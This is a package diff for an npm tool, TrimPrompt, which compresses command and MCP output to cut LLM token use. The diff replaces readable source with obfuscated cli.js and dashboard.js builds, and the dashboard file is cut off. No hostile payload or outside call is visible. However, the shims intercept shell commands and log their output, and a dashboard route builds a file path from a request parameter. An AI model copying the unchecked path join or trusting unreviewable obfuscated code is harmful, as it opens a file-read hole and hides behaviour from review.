  983. package/client/node_modules/undici-types/retry-handler.d.ts +0 -116
  984. package/client/node_modules/undici-types/util.d.ts +0 -18
  985. package/client/node_modules/undici-types/webidl.d.ts +0 -228
  986. package/client/node_modules/undici-types/websocket.d.ts +0 -150
  987. package/client/node_modules/unpipe/HISTORY.md +0 -4
  988. package/client/node_modules/unpipe/LICENSE +0 -22
  989. package/client/node_modules/unpipe/README.md +0 -43
  990. package/client/node_modules/unpipe/index.js +0 -69
  991. package/client/node_modules/unpipe/package.json +0 -27
  992. package/client/node_modules/utils-merge/LICENSE +0 -20
  993. package/client/node_modules/utils-merge/README.md +0 -34
  994. package/client/node_modules/utils-merge/index.js +0 -23
  995. package/client/node_modules/utils-merge/package.json +0 -40
  996. package/client/node_modules/vary/HISTORY.md +0 -39
  997. package/client/node_modules/vary/LICENSE +0 -22
  998. package/client/node_modules/vary/README.md +0 -101
  999. package/client/node_modules/vary/index.js +0 -149
  1000. package/client/node_modules/vary/package.json +0 -43
  1001. package/client/obfuscate.js +0 -132
  1002. package/client/package-lock.json +0 -956
  1003. package/client/package.json +0 -32
  1004. package/client/src/cli.ts +0 -273
  1005. package/client/src/dashboard.ts +0 -85
  1006. package/client/src/executor.ts +0 -65
  1007. package/client/src/filters/generic.ts +0 -60
  1008. package/client/src/filters/git.ts +0 -150
  1009. package/client/src/filters/index.ts +0 -113
  1010. package/client/src/filters/js.ts +0 -102
  1011. package/client/src/filters/python.ts +0 -152
  1012. package/client/src/index.html +0 -779
  1013. package/client/src/mcp.ts +0 -88
  1014. package/client/src/redactor.ts +0 -54
  1015. package/client/src/seed.ts +0 -35
  1016. package/client/src/shims.ts +0 -142
  1017. package/client/src/simulate.ts +0 -98
  1018. package/client/src/sync.ts +0 -252
  1019. package/client/src/tracker.ts +0 -269
  1020. package/client/tsconfig.json +0 -14
  1021. package/install.bat +0 -48
  1022. package/test_e2e.js +0 -156
  1023. package/tsconfig.json +0 -15
  1024. /package/{client/dist/index.html → index.html} +0 -0
package/cli.js ADDED
@@ -0,0 +1,2 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';const a0_0x58f592=a0_0x38e0;(function(_0x2d1101,_0x1d18de){const _0x5d5d6d=a0_0x38e0,_0x546d70=_0x2d1101();while(!![]){try{const _0x48dac7=-parseInt(_0x5d5d6d(0xd4))/0x1*(-parseInt(_0x5d5d6d(0x12e))/0x2)+parseInt(_0x5d5d6d(0x122))/0x3*(parseInt(_0x5d5d6d(0x141))/0x4)+parseInt(_0x5d5d6d(0xb9))/0x5+-parseInt(_0x5d5d6d(0x109))/0x6*(-parseInt(_0x5d5d6d(0xe0))/0x7)+-parseInt(_0x5d5d6d(0xd0))/0x8+-parseInt(_0x5d5d6d(0xed))/0x9+parseInt(_0x5d5d6d(0x128))/0xa*(-parseInt(_0x5d5d6d(0xad))/0xb);if(_0x48dac7===_0x1d18de)break;else _0x546d70['push'](_0x546d70['shift']());}catch(_0x32a206){_0x546d70['push'](_0x546d70['shift']());}}}(a0_0x1990,0x5dfd3));var __createBinding=this&&this[a0_0x58f592(0x114)]||(Object['create']?function(_0x11d889,_0x33f6d1,_0x51d6fb,_0x3dfc74){const _0x20d56c=a0_0x58f592;if(_0x3dfc74===undefined)_0x3dfc74=_0x51d6fb;var _0x55e064=Object[_0x20d56c(0x104)](_0x33f6d1,_0x51d6fb);(!_0x55e064||(_0x20d56c(0xaa)in _0x55e064?!_0x33f6d1[_0x20d56c(0xf9)]:_0x55e064[_0x20d56c(0x101)]||_0x55e064['configurable']))&&(_0x55e064={'enumerable':!![],'get':function(){return _0x33f6d1[_0x51d6fb];}}),Object[_0x20d56c(0x11c)](_0x11d889,_0x3dfc74,_0x55e064);}:function(_0x1cc877,_0x2d18fd,_0x504d13,_0x2d6370){if(_0x2d6370===undefined)_0x2d6370=_0x504d13;_0x1cc877[_0x2d6370]=_0x2d18fd[_0x504d13];}),__setModuleDefault=this&&this[a0_0x58f592(0xb4)]||(Object['create']?function(_0x16f049,_0x2165ea){const _0x3ba2e4=a0_0x58f592;Object[_0x3ba2e4(0x11c)](_0x16f049,_0x3ba2e4(0xc8),{'enumerable':!![],'value':_0x2165ea});}:function(_0x169748,_0x1f70cb){const _0x5adcc3=a0_0x58f592;_0x169748[_0x5adcc3(0xc8)]=_0x1f70cb;}),__importStar=this&&this['__importStar']||(function(){var _0x47adb1=function(_0x207955){const _0x467eda=a0_0x38e0;return _0x47adb1=Object[_0x467eda(0xcb)]||function(_0x43d5f1){const _0x4b367a=_0x467eda;var _0x44b57c=[];for(var _0x560224 in _0x43d5f1)if(Object[_0x4b367a(0xb7)][_0x4b367a(0xc6)][_0x4b367a(0xfe)](_0x43d5f1,_0x560224))_0x44b57c[_0x44b57c[_0x4b367a(0xdb)]]=_0x560224;return _0x44b57c;},_0x47adb1(_0x207955);};return function(_0x55c0b5){const _0x193a15=a0_0x38e0;if(_0x55c0b5&&_0x55c0b5['__esModule'])return _0x55c0b5;var _0x4966f5={};if(_0x55c0b5!=null){for(var _0x4c90bc=_0x47adb1(_0x55c0b5),_0x173ce2=0x0;_0x173ce2<_0x4c90bc[_0x193a15(0xdb)];_0x173ce2++)if(_0x4c90bc[_0x173ce2]!==_0x193a15(0xc8))__createBinding(_0x4966f5,_0x55c0b5,_0x4c90bc[_0x173ce2]);}return __setModuleDefault(_0x4966f5,_0x55c0b5),_0x4966f5;};}());Object['defineProperty'](exports,a0_0x58f592(0xf9),{'value':!![]});const commander_1=require(a0_0x58f592(0x136)),executor_1=require(a0_0x58f592(0xfc)),filters_1=require(a0_0x58f592(0x111)),tracker_1=require(a0_0x58f592(0xeb)),shims_1=require(a0_0x58f592(0x130)),dashboard_1=require(a0_0x58f592(0x11e)),program=new commander_1[(a0_0x58f592(0xf8))]();function isDisabled(){const _0x4f10c9=a0_0x58f592;return process['env'][_0x4f10c9(0x127)]==='1';}function adjustCommandArgs(_0x50a76d,_0xe2496f){const _0x3cd54b=a0_0x58f592,_0x1f19b4=_0x50a76d[_0x3cd54b(0xe9)]();if(_0x1f19b4===_0x3cd54b(0x13f)||_0x1f19b4===_0x3cd54b(0xf3)){const _0x33f6ad=_0xe2496f[0x0];if(_0x33f6ad===_0x3cd54b(0xd6)){const _0x5f4f37=_0xe2496f['slice'](0x1),_0x3cf54b=_0x5f4f37[_0x3cd54b(0xdb)]===0x0||_0x5f4f37[_0x3cd54b(0xe7)](_0x3e7210=>{const _0x1cece9=_0x3cd54b;return _0x3e7210==='-b'||_0x3e7210===_0x1cece9(0xe3)||_0x3e7210===_0x1cece9(0x116)||_0x3e7210===_0x1cece9(0x106)||_0x3e7210==='-s'||_0x3e7210==='--short';});if(_0x3cf54b)return{'cmd':_0x50a76d,'args':['status','--porcelain','-b']};}else{if(_0x33f6ad==='log'){const _0x11e8c1=_0xe2496f[_0x3cd54b(0x10d)](0x1),_0x4a2c78=_0x11e8c1['some'](_0x168fde=>_0x168fde[_0x3cd54b(0xe2)]('--oneline')||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x105))||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x11f))),_0x4eb5f0=_0x11e8c1[_0x3cd54b(0xb6)](_0x5493e6=>_0x5493e6[_0x3cd54b(0xe2)]('-')&&/^\d+$/[_0x3cd54b(0x133)](_0x5493e6[_0x3cd54b(0x10d)](0x1))||_0x5493e6==='-n'||_0x5493e6[_0x3cd54b(0xe2)](_0x3cd54b(0xc3))),_0x21b17f=[..._0xe2496f];if(!_0x4a2c78){const _0x4b573b=_0x3cd54b(0x131);_0x21b17f[_0x3cd54b(0x142)](process[_0x3cd54b(0xbc)]===_0x3cd54b(0x113)?'\x22'+_0x4b573b+'\x22':_0x4b573b);}!_0x4eb5f0&&(_0x4a2c78?_0x21b17f['push']('-50'):_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x13a)));const _0x5ec799=_0x11e8c1['some'](_0x3fb891=>_0x3fb891==='--merges'||_0x3fb891==='--no-merges'||_0x3fb891[_0x3cd54b(0xe2)](_0x3cd54b(0x112)));return!_0x5ec799&&!_0x4eb5f0&&_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x100)),{'cmd':_0x50a76d,'args':_0x21b17f};}}}return{'cmd':_0x50a76d,'args':_0xe2496f};}function isMcpServerExecution(_0x54861c,_0x67963){const _0x3ca775=a0_0x58f592,_0x2af185=_0x54861c[_0x3ca775(0xe9)](),_0x4b384b=_0x67963[_0x3ca775(0xc9)]('\x20')[_0x3ca775(0xe9)]();if(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0x126))&&(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xb3))||_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xa9))))return!![];if(_0x2af185===_0x3ca775(0xf1)||_0x2af185===_0x3ca775(0x10f)||_0x2af185===_0x3ca775(0x139)||_0x2af185===_0x3ca775(0xb1)||_0x2af185==='pnpm'||_0x2af185===_0x3ca775(0xfa)){if(_0x4b384b[_0x3ca775(0xbb)]('@modelcontextprotocol/')||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x110))||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x107))||_0x4b384b[_0x3ca775(0xbb)]('server-mcp'))return!![];}if(_0x67963[_0x3ca775(0xb6)](_0x24e973=>{const _0x5506e6=_0x3ca775,_0x12779a=_0x24e973['toLowerCase']();return _0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x107))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x11b))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0xc0))||_0x12779a===_0x5506e6(0xf7)||_0x12779a===_0x5506e6(0x126);}))return!![];return![];}async function runProxy(_0x2fca72){const _0x15caa5=a0_0x58f592;if(_0x2fca72[_0x15caa5(0xdb)]===0x0){program['help']();return;}const _0x431bf0=_0x2fca72[0x0],_0x59f496=_0x2fca72['slice'](0x1),_0x834d1a=_0x2fca72[_0x15caa5(0xc9)]('\x20');if(isDisabled()){const _0x32a286=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x431bf0,_0x59f496);process[_0x15caa5(0xc4)]['write'](_0x32a286[_0x15caa5(0xc4)]),process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x32a286['stderr']),process['exit'](_0x32a286['exitCode']);}if(isMcpServerExecution(_0x431bf0,_0x59f496)){console[_0x15caa5(0xba)](_0x15caa5(0x13d));const {runMcpProxy:_0x133f8f}=await Promise[_0x15caa5(0xfb)]()[_0x15caa5(0xe5)](()=>__importStar(require(_0x15caa5(0xcf))));_0x133f8f(_0x431bf0,_0x59f496);return;}const _0x34f957=adjustCommandArgs(_0x431bf0,_0x59f496),_0x420b86=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x34f957['cmd'],_0x34f957['args']),_0x5bd4a2=(0x0,filters_1['compressOutput'])(_0x834d1a,_0x420b86[_0x15caa5(0xc4)],_0x420b86[_0x15caa5(0x12d)],tracker_1[_0x15caa5(0xef)][_0x15caa5(0x132)]()[_0x15caa5(0xca)]),_0x237e66=_0x420b86[_0x15caa5(0xc4)]+(_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0?'\x0a'+_0x420b86[_0x15caa5(0x12d)]:'');tracker_1[_0x15caa5(0xef)]['logExecution'](_0x834d1a,_0x237e66,_0x5bd4a2,_0x420b86[_0x15caa5(0xe8)]),_0x420b86[_0x15caa5(0xe8)]===0x0?process[_0x15caa5(0xc4)][_0x15caa5(0xd8)](_0x5bd4a2+'\x0a'):(process[_0x15caa5(0xc4)]['write'](_0x5bd4a2+'\x0a'),_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0&&!_0x5bd4a2[_0x15caa5(0xbb)](_0x420b86['stderr']['trim']())&&process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x420b86[_0x15caa5(0x12d)]+'\x0a')),process[_0x15caa5(0xac)](_0x420b86['exitCode']);}program[a0_0x58f592(0x134)](a0_0x58f592(0xdc))[a0_0x58f592(0x10c)](a0_0x58f592(0xdd))[a0_0x58f592(0x103)](a0_0x58f592(0x11a)),program[a0_0x58f592(0x144)]('ui')[a0_0x58f592(0xe4)](a0_0x58f592(0xcd))['description'](a0_0x58f592(0xce))[a0_0x58f592(0x12b)](a0_0x58f592(0xf2),a0_0x58f592(0xcc),'4000')[a0_0x58f592(0xbe)](_0xa9cca4=>{const _0x2d7806=a0_0x58f592,_0x2e6dae=parseInt(_0xa9cca4['port'],0xa);(0x0,dashboard_1[_0x2d7806(0xc5)])(_0x2e6dae);}),program[a0_0x58f592(0x144)]('stats')[a0_0x58f592(0x10c)]('Show\x20token\x20and\x20cost\x20savings\x20summary')['option'](a0_0x58f592(0xda),a0_0x58f592(0x123),'claude-3-5-sonnet')[a0_0x58f592(0xbe)](_0x3350f0=>{const _0x1179d1=a0_0x58f592,_0x1cd473=tracker_1['tracker'][_0x1179d1(0xee)](_0x3350f0['model']);console[_0x1179d1(0xbd)](_0x1179d1(0xf5)),console[_0x1179d1(0xbd)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console[_0x1179d1(0xbd)]('============================================='),console['log'](_0x1179d1(0x12f)+_0x1cd473[_0x1179d1(0x135)]),console[_0x1179d1(0xbd)](_0x1179d1(0xd1)+_0x1cd473[_0x1179d1(0x129)][_0x1179d1(0xb0)]()),console['log'](_0x1179d1(0x10e)+_0x1cd473[_0x1179d1(0x13e)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)](_0x1179d1(0xc1)+_0x1cd473[_0x1179d1(0xe1)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)]('Reduction\x20Rate:\x20\x20\x20\x20'+_0x1cd473[_0x1179d1(0x11d)]+'%'),console[_0x1179d1(0xbd)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xc7)]['toFixed'](0x4)+_0x1179d1(0x102)),console['log'](_0x1179d1(0xdf)+_0x1cd473[_0x1179d1(0xf6)][_0x1179d1(0xf4)](0x4)+'\x20(after\x20Shave)'),console[_0x1179d1(0xbd)](_0x1179d1(0x143)),console['log']('Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xe6)][_0x1179d1(0xf4)](0x4)+'\x20USD'),console[_0x1179d1(0xbd)](_0x1179d1(0x12a));}),program[a0_0x58f592(0x144)](a0_0x58f592(0x10b))[a0_0x58f592(0x10c)](a0_0x58f592(0xd9))[a0_0x58f592(0x115)]('<action>',a0_0x58f592(0x138))[a0_0x58f592(0x115)](a0_0x58f592(0x124),a0_0x58f592(0xb2))[a0_0x58f592(0x115)](a0_0x58f592(0xab),a0_0x58f592(0xfd))['action']((_0x4322e5,_0x4607df,_0x459817)=>{const _0x43a9d8=a0_0x58f592;if(_0x4322e5===_0x43a9d8(0xaa)){const _0x427019=tracker_1['tracker'][_0x43a9d8(0x132)]();console[_0x43a9d8(0xbd)](_0x4607df+':\x20'+_0x427019[_0x4607df]);}else{if(_0x4322e5===_0x43a9d8(0xae)){_0x459817===undefined&&(console['error'](_0x43a9d8(0x108)),process['exit'](0x1));let _0x3fe7fb=_0x459817;if(_0x459817===_0x43a9d8(0xff))_0x3fe7fb=!![];if(_0x459817===_0x43a9d8(0xde))_0x3fe7fb=![];if(/^\d+$/[_0x43a9d8(0x133)](_0x459817))_0x3fe7fb=parseInt(_0x459817,0xa);tracker_1['tracker'][_0x43a9d8(0xd7)](_0x4607df,_0x3fe7fb),console[_0x43a9d8(0xbd)](_0x43a9d8(0x121)+_0x4607df+_0x43a9d8(0x118)+_0x459817);}else console['error']('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process['exit'](0x1);}}),program[a0_0x58f592(0x144)]('shims')[a0_0x58f592(0x10c)](a0_0x58f592(0x120))['argument'](a0_0x58f592(0x140),a0_0x58f592(0xd2))[a0_0x58f592(0xbe)](_0xc88741=>{const _0x2f5212=a0_0x58f592;if(_0xc88741==='install'){const _0x96f05c=(0x0,shims_1['installShims'])();console[_0x2f5212(0xbd)](_0x96f05c[_0x2f5212(0x13b)]);}else{if(_0xc88741==='uninstall'){const _0x307007=(0x0,shims_1[_0x2f5212(0xd5)])();console[_0x2f5212(0xbd)](_0x307007[_0x2f5212(0x13b)]);}else console[_0x2f5212(0xba)](_0x2f5212(0x12c)),process[_0x2f5212(0xac)](0x1);}}),program[a0_0x58f592(0x144)](a0_0x58f592(0xd3))[a0_0x58f592(0x10c)](a0_0x58f592(0xbf))['argument'](a0_0x58f592(0x119),a0_0x58f592(0xc2))[a0_0x58f592(0xbe)](_0x4229bd=>{const _0x6745f5=a0_0x58f592;if(isDisabled()){console['log'](_0x4229bd);return;}const _0x852956=(0x0,filters_1[_0x6745f5(0xb5)])(_0x4229bd);console[_0x6745f5(0xbd)](_0x852956);}),program['command'](a0_0x58f592(0xf7))[a0_0x58f592(0xe4)](a0_0x58f592(0x126))[a0_0x58f592(0x10c)](a0_0x58f592(0xf0))[a0_0x58f592(0x115)](a0_0x58f592(0x13c),a0_0x58f592(0x117))['argument'](a0_0x58f592(0x137),a0_0x58f592(0x125))[a0_0x58f592(0xbe)](async(_0x4e7174,_0x393887)=>{const _0x487875=a0_0x58f592,{runMcpProxy:_0x29cd62}=await Promise[_0x487875(0xfb)]()[_0x487875(0xe5)](()=>__importStar(require(_0x487875(0xcf))));_0x29cd62(_0x4e7174,_0x393887);});const args=process[a0_0x58f592(0xea)][a0_0x58f592(0x10d)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard','stats','config','shims','rewrite',a0_0x58f592(0xf7),a0_0x58f592(0x126),a0_0x58f592(0xb8),a0_0x58f592(0xaf),'-h','version',a0_0x58f592(0xec),'-v'];function a0_0x38e0(_0x5f299c,_0x1d1d1f){const _0x199064=a0_0x1990();return a0_0x38e0=function(_0x38e026,_0x8720fe){_0x38e026=_0x38e026-0xa9;let _0x216478=_0x199064[_0x38e026];return _0x216478;},a0_0x38e0(_0x5f299c,_0x1d1d1f);}function a0_0x1990(){const _0x1725d2=['./filters','--min-parents','win32','__createBinding','argument','-sb','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','\x20=\x20','<commandLine>','1.0.0','server-mcp','defineProperty','savings_percentage','./dashboard','--format','Install\x20or\x20uninstall\x20system\x20command\x20shims','Config\x20set\x20','1028712yBeOIM','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','<key>','Arguments\x20for\x20the\x20target\x20MCP\x20server','mcp','TRIMPROMPT_DISABLED','2010rjlmQl','total_raw_tokens','=============================================\x0a','option','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','stderr','514676DMEQxD','Model\x20Context:\x20\x20\x20\x20\x20','./shims','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','getConfig','test','name','model_name','commander','[server-args...]','get\x20or\x20set','bun','-10','message','<server-command>','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','total_compressed_tokens','git','<action>','4XHsEHS','push','---------------------------------------------','command','proxy','get','[value]','exit','30811RbTWqy','set','--help','toLocaleString','npm','config\x20parameter\x20name','server','__setModuleDefault','rewriteCommand','some','prototype','help','3343395GidIlR','error','includes','platform','log','action','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','@modelcontextprotocol/','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','Command\x20line\x20to\x20evaluate','--max-count','stdout','startDashboard','hasOwnProperty','raw_cost_usd','default','join','redaction_enabled','getOwnPropertyNames','Port\x20to\x20run\x20the\x20dashboard\x20on','dashboard','Start\x20the\x20local\x20developer\x20dashboard','./mcp','3879688adPnxX','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','install\x20or\x20uninstall','rewrite','1ECgMVw','uninstallShims','status','setConfig','write','Manage\x20local\x20configuration\x20parameters','-m,\x20--model\x20<string>','length','trim','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','false','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','3116071DWtwAW','total_tokens_saved','startsWith','--branch','alias','then','money_saved_usd','every','exitCode','toLowerCase','argv','./tracker','--version','2530197ZvPXmV','getStatsSummary','tracker','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','npx','-p,\x20--port\x20<number>','yadm','toFixed','\x0a=============================================','compressed_cost_usd','mcp-proxy','Command','__esModule','yarn','resolve','./executor','value\x20to\x20set','call','true','--no-merges','writable','\x20(before\x20Shave)','version','getOwnPropertyDescriptor','--pretty','-bs','mcp-server','Error:\x20Value\x20required\x20for\x20set\x20action','6TCXVjl','executeCommand','config','description','slice','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','node','modelcontextprotocol'];a0_0x1990=function(){return _0x1725d2;};return a0_0x1990();}firstArg&&!subcommands['includes'](firstArg)?runProxy(args)['catch'](_0x3db5dc=>{const _0x1e1c2c=a0_0x58f592;console[_0x1e1c2c(0xba)]('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x3db5dc[_0x1e1c2c(0x13b)]),process['exit'](0x1);}):program['parse'](process['argv']);
package/dashboard.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x12bc9b=a0_0x27ab;function a0_0x5d15(){const _0x2e5f2a=['1967528Ccgcqa','prototype','__esModule','20648tsdbeA','get','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','logs','6AZBbfq','[TrimPrompt]\x20Dashboard\x20error:\x20','Compressed\x20output\x20log\x20file\x20not\x20found.','join','utf8','getOwnPropertyNames','path','index.html','__importStar','933GYLhwA','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','getOwnPropertyDescriptor','__setModuleDefault','Raw\x20output\x20log\x20file\x20not\x20found.','11155485BQOzHI','getStatsSummary','default','sendFile','/api/stats/history','http://localhost:','readFileSync','create','json','.trimprompt','.comp.txt','auto','query','catch','defineProperty','configurable','length','197091qAiQop','4896045fJiIqZ','__createBinding','error','../src/index.html','EADDRINUSE','tracker','__importDefault','1691ZYoovY','./tracker','params','hasOwnProperty','model','7450525bmFPNV','30cYwEqG','/api/stats/inspect/:id','getLogs','1442QCFAld','code'];a0_0x5d15=function(){return _0x2e5f2a;};return a0_0x5d15();}function a0_0x27ab(_0x5fcbe7,_0x3204b8){const _0x5d15bb=a0_0x5d15();return a0_0x27ab=function(_0x27ab0d,_0x13f325){_0x27ab0d=_0x27ab0d-0x171;let _0x34ed1a=_0x5d15bb[_0x27ab0d];return _0x34ed1a;},a0_0x27ab(_0x5fcbe7,_0x3204b8);}(function(_0x8247b4,_0x2b6c94){const _0xfa104b=a0_0x27ab,_0x44fd3e=_0x8247b4();while(!![]){try{const _0x1fc145=-parseInt(_0xfa104b(0x1a2))/0x1*(-parseInt(_0xfa104b(0x172))/0x2)+-parseInt(_0xfa104b(0x184))/0x3*(-parseInt(_0xfa104b(0x177))/0x4)+-parseInt(_0xfa104b(0x1a7))/0x5*(-parseInt(_0xfa104b(0x17b))/0x6)+-parseInt(_0xfa104b(0x19b))/0x7+parseInt(_0xfa104b(0x174))/0x8+parseInt(_0xfa104b(0x19a))/0x9+-parseInt(_0xfa104b(0x1a8))/0xa*(parseInt(_0xfa104b(0x189))/0xb);if(_0x1fc145===_0x2b6c94)break;else _0x44fd3e['push'](_0x44fd3e['shift']());}catch(_0x2191c8){_0x44fd3e['push'](_0x44fd3e['shift']());}}}(a0_0x5d15,0xcd3fa));var __createBinding=this&&this[a0_0x12bc9b(0x19c)]||(Object['create']?function(_0x33bd16,_0x3fc47e,_0x47c6df,_0xf381ed){const _0xbbf5e4=a0_0x12bc9b;if(_0xf381ed===undefined)_0xf381ed=_0x47c6df;var _0x58dae9=Object[_0xbbf5e4(0x186)](_0x3fc47e,_0x47c6df);(!_0x58dae9||(_0xbbf5e4(0x178)in _0x58dae9?!_0x3fc47e[_0xbbf5e4(0x176)]:_0x58dae9['writable']||_0x58dae9[_0xbbf5e4(0x198)]))&&(_0x58dae9={'enumerable':!![],'get':function(){return _0x3fc47e[_0x47c6df];}}),Object[_0xbbf5e4(0x197)](_0x33bd16,_0xf381ed,_0x58dae9);}:function(_0x44c696,_0x38afd1,_0x58dce4,_0x3e190e){if(_0x3e190e===undefined)_0x3e190e=_0x58dce4;_0x44c696[_0x3e190e]=_0x38afd1[_0x58dce4];}),__setModuleDefault=this&&this[a0_0x12bc9b(0x187)]||(Object[a0_0x12bc9b(0x190)]?function(_0xe4051c,_0x48dfe1){const _0xca45ad=a0_0x12bc9b;Object[_0xca45ad(0x197)](_0xe4051c,_0xca45ad(0x18b),{'enumerable':!![],'value':_0x48dfe1});}:function(_0x35c8e3,_0x3b2e2e){const _0x354d4e=a0_0x12bc9b;_0x35c8e3[_0x354d4e(0x18b)]=_0x3b2e2e;}),__importStar=this&&this[a0_0x12bc9b(0x183)]||(function(){var _0x254193=function(_0x5c741f){const _0x469e25=a0_0x27ab;return _0x254193=Object[_0x469e25(0x180)]||function(_0x256269){const _0x1a13e5=_0x469e25;var _0x2fdb47=[];for(var _0x33c11e in _0x256269)if(Object[_0x1a13e5(0x175)][_0x1a13e5(0x1a5)]['call'](_0x256269,_0x33c11e))_0x2fdb47[_0x2fdb47[_0x1a13e5(0x199)]]=_0x33c11e;return _0x2fdb47;},_0x254193(_0x5c741f);};return function(_0x2a5394){const _0x1ba679=a0_0x27ab;if(_0x2a5394&&_0x2a5394['__esModule'])return _0x2a5394;var _0x27580d={};if(_0x2a5394!=null){for(var _0x3ddfe1=_0x254193(_0x2a5394),_0x37f78c=0x0;_0x37f78c<_0x3ddfe1[_0x1ba679(0x199)];_0x37f78c++)if(_0x3ddfe1[_0x37f78c]!==_0x1ba679(0x18b))__createBinding(_0x27580d,_0x2a5394,_0x3ddfe1[_0x37f78c]);}return __setModuleDefault(_0x27580d,_0x2a5394),_0x27580d;};}()),__importDefault=this&&this[a0_0x12bc9b(0x1a1)]||function(_0x4441f5){const _0x6b1e28=a0_0x12bc9b;return _0x4441f5&&_0x4441f5[_0x6b1e28(0x176)]?_0x4441f5:{'default':_0x4441f5};};Object[a0_0x12bc9b(0x197)](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;const express_1=__importDefault(require('express')),path=__importStar(require(a0_0x12bc9b(0x181))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require('open')),tracker_1=require(a0_0x12bc9b(0x1a3)),app=(0x0,express_1[a0_0x12bc9b(0x18b)])(),baseDir=path['join'](os['homedir'](),a0_0x12bc9b(0x192)),logsDir=path[a0_0x12bc9b(0x17e)](baseDir,a0_0x12bc9b(0x17a));app[a0_0x12bc9b(0x178)]('/',(_0x34c6bb,_0x593c81)=>{const _0x3af5b1=a0_0x12bc9b,_0x4c8d3a=path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x182));fs['existsSync'](_0x4c8d3a)?_0x593c81[_0x3af5b1(0x18c)](_0x4c8d3a):_0x593c81[_0x3af5b1(0x18c)](path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x19e)));}),app[a0_0x12bc9b(0x178)]('/api/stats/summary',(_0x5aad01,_0x105f27)=>{const _0x19fa9c=a0_0x12bc9b,_0x4d7e7c=_0x5aad01[_0x19fa9c(0x195)][_0x19fa9c(0x1a6)]||_0x19fa9c(0x194),_0x4bffc9=tracker_1[_0x19fa9c(0x1a0)][_0x19fa9c(0x18a)](_0x4d7e7c);_0x105f27[_0x19fa9c(0x191)](_0x4bffc9);}),app[a0_0x12bc9b(0x178)](a0_0x12bc9b(0x18d),(_0x34538b,_0x5dcb19)=>{const _0xe4087e=a0_0x12bc9b,_0x131e46=tracker_1['tracker'][_0xe4087e(0x171)]();_0x5dcb19[_0xe4087e(0x191)](_0x131e46);}),app['get'](a0_0x12bc9b(0x1a9),(_0x4f38df,_0x1f34a7)=>{const _0x1e61f3=a0_0x12bc9b,_0x19a1d0=_0x4f38df[_0x1e61f3(0x1a4)]['id'],_0x4edc07=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+'.raw.txt'),_0x35d6ee=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+_0x1e61f3(0x193));let _0x13825f=_0x1e61f3(0x188),_0x7f9bc1=_0x1e61f3(0x17d);try{fs['existsSync'](_0x4edc07)&&(_0x13825f=fs['readFileSync'](_0x4edc07,_0x1e61f3(0x17f))),fs['existsSync'](_0x35d6ee)&&(_0x7f9bc1=fs[_0x1e61f3(0x18f)](_0x35d6ee,_0x1e61f3(0x17f)));}catch(_0xdcc7a7){}_0x1f34a7[_0x1e61f3(0x191)]({'id':_0x19a1d0,'raw':_0x13825f,'compressed':_0x7f9bc1});});function startDashboard(_0x498b6e=0xfa0){const _0x27d641=a0_0x12bc9b;let _0x2700c1=_0x498b6e;const _0x347027=app['listen'](_0x2700c1,()=>{const _0x294b1a=a0_0x27ab,_0x3c61c7=_0x294b1a(0x18e)+_0x2700c1;console['log'](_0x294b1a(0x179)+_0x3c61c7),console['log'](_0x294b1a(0x185)),(0x0,open_1['default'])(_0x3c61c7)[_0x294b1a(0x196)](()=>{});});_0x347027['on'](_0x27d641(0x19d),_0xbbc9a8=>{const 